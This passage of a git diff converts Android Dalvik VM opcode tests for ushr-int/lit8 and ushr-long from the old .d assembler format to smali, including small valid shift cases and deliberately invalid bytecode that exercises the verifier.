+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_2.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_2.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_2;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const/16 v1, 33
+       ushr-int/lit8 v1, v1, 2
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_3.d
deleted file mode 100644
index d51d0ad..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_3.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_lit8_3.java
-.class public dot.junit.opcodes.ushr_int_lit8.d.T_ushr_int_lit8_3
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const/16 v1, -15
-       ushr-int/lit8 v1, v1, 1
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_3.smali
new file mode 100644
index 0000000..71b1324
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_3.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_3.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_3;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const/16 v1, -15
+       ushr-int/lit8 v1, v1, 1
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_4.d
deleted file mode 100644
index c69a8cd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_4.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_lit8_4.java
-.class public dot.junit.opcodes.ushr_int_lit8.d.T_ushr_int_lit8_4
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const/16 v1, 1
-       ushr-int/lit8 v1, v1, -1
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_4.smali
new file mode 100644
index 0000000..0bb01de
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_4.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_4.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_4;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const/16 v1, 1
+       ushr-int/lit8 v1, v1, -1
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_5.d
deleted file mode 100644
index 9e75732..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_lit8_5.java
-.class public dot.junit.opcodes.ushr_int_lit8.d.T_ushr_int_lit8_5
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const/16 v1, 33
-       ushr-int/lit8 v1, v1, 33
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_5.smali
new file mode 100644
index 0000000..e630286
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_5.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_5;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const/16 v1, 33
+       ushr-int/lit8 v1, v1, 33
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_6.d
deleted file mode 100644
index 8387c15..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_6.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_lit8_6.java
-.class public dot.junit.opcodes.ushr_int_lit8.d.T_ushr_int_lit8_6
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const/16 v1, 0
-       ushr-int/lit8 v1, v1, -1
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_6.smali
new file mode 100644
index 0000000..762e8df
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_6.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_6.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_6;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const/16 v1, 0
+       ushr-int/lit8 v1, v1, -1
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_7.d
deleted file mode 100644
index 1a49829..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_lit8_7.java
-.class public dot.junit.opcodes.ushr_int_lit8.d.T_ushr_int_lit8_7
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 2147483647
-       ushr-int/lit8 v1, v1, 1
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_7.smali
new file mode 100644
index 0000000..369a384
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_7.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 2147483647
+       ushr-int/lit8 v1, v1, 1
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_8.d
deleted file mode 100644
index 415d6d6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_lit8_8.java
-.class public dot.junit.opcodes.ushr_int_lit8.d.T_ushr_int_lit8_8
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, -2147483648
-       ushr-int/lit8 v1, v1, 1
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_8.smali
new file mode 100644
index 0000000..8317e56
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_8.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -2147483648
+       ushr-int/lit8 v1, v1, 1
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_9.d
deleted file mode 100644
index 34be720..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_9.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_lit8_9.java
-.class public dot.junit.opcodes.ushr_int_lit8.d.T_ushr_int_lit8_9
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const/16 v1, 1
-       ushr-int/lit8 v1, v1, 0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_9.smali
new file mode 100644
index 0000000..8160efb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_9.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_9.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_9;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const/16 v1, 1
+       ushr-int/lit8 v1, v1, 0
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_1.d
deleted file mode 100644
index 5479c4e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_long_1.java
-.class public dot.junit.opcodes.ushr_long.d.T_ushr_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 4
-
-       ushr-long v1, v1, v3
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_1.smali
new file mode 100644
index 0000000..da3c4c5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_1.java"
+.class  public Ldot/junit/opcodes/ushr_long/d/T_ushr_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 4
+
+       ushr-long v1, v1, v3
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_2.d
deleted file mode 100644
index e8a6322..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_long_2.java
-.class public dot.junit.opcodes.ushr_long.d.T_ushr_long_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DI)J
-.limit regs 6
-
-       ushr-long v0, v3, v5
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_2.smali
new file mode 100644
index 0000000..7a42986
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_2.java"
+.class  public Ldot/junit/opcodes/ushr_long/d/T_ushr_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)J
+.registers 6
+
+       ushr-long v0, v3, v5
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_3.d
deleted file mode 100644
index 1a7a9eb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_long_3.java
-.class public dot.junit.opcodes.ushr_long.d.T_ushr_long_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 4
-
-       move v2, v3
-       ushr-long v1, v2, v3
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_3.smali
new file mode 100644
index 0000000..8ef3581
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_3.java"
+.class  public Ldot/junit/opcodes/ushr_long/d/T_ushr_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 4
+
+       move v2, v3
+       ushr-long v1, v2, v3
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_4.d
deleted file mode 100644
index 03ae1aa..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_long_4.java
-.class public dot.junit.opcodes.ushr_long.d.T_ushr_long_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 6
-
-       const v0, 12345.0
-       ushr-long v0, v0, v5
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_4.smali
new file mode 100644
index 0000000..8d9a7f6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_4.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/ushr_long/d/T_ushr_long_4;
+.super Ljava/lang/Object;
+.source "T_ushr_long_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(JI)J
+    .registers 6
+
+    const v0, 0x4640e400    # 12345.0f
+
+    ushr-long v0, v0, p3
+
+    return-wide p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_5.d
deleted file mode 100644
index 05560ac..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
